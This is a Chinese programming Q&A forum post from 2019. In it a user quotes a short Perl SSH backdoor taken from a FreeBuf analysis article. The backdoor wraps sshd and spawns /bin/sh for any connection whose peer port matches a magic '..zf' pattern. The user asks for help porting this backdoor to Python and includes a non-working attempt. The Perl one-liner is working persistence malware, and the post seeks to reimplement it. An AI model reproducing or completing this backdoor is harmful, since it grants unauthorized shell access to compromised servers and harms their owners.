为了账号安全,请及时绑定邮箱和手机立即绑定

大佬们遇到过这个问题吗?这个perl脚本的stdin的内容的判断?跪求!

大佬们遇到过这个问题吗?这个perl脚本的stdin的内容的判断?跪求!

胡子哥哥 2019-08-09 23:10:27
问题出现的环境背景及自己尝试过哪些方法有个linux程序运行传参(socket)的问题,有个perl中间件脚本如下:#!/usr/bin/perlexec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;我用python实现这个功能,卡在了重写第一句的条件判断处。perl是用了getpeername的方法来从stdin中取到了信息,我不知道怎么查看这个stdin,于是查perl的资料知道getpeername()是根据socketfd来获得remoteaddress+port:*POSIX::getpeernameallowsyoutogetpeernamefromsockfd.来自https://metacpan.org/pod/POSI...*我按照这个思路用python的os模块实现却没有成果,#!/usr/bin/python3.5importosimportsocketimportsubprocessimportsysforsinsys.stdin:raddr=os.read(s,100)ifre.match(r'..zf',raddr):os.execv("/bin/sh")withopen("hello.log","a+")asf:f.write(str(raddr))os.execv('/usr/bin/sshd',sys.argv)我的查询结果对吗?这个stdin是一个打开的socket文件描述符么也就是个非负整数么?PS:这个perl脚本的来源一款短小精致的SSH后门分析-FreeBuf互联网安全新媒体平台https://www.freebuf.com/artic...问题描述
查看完整描述

2 回答

  • 2 回答
  • 0 关注
  • 390 浏览
慕课专栏
更多

添加回答

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信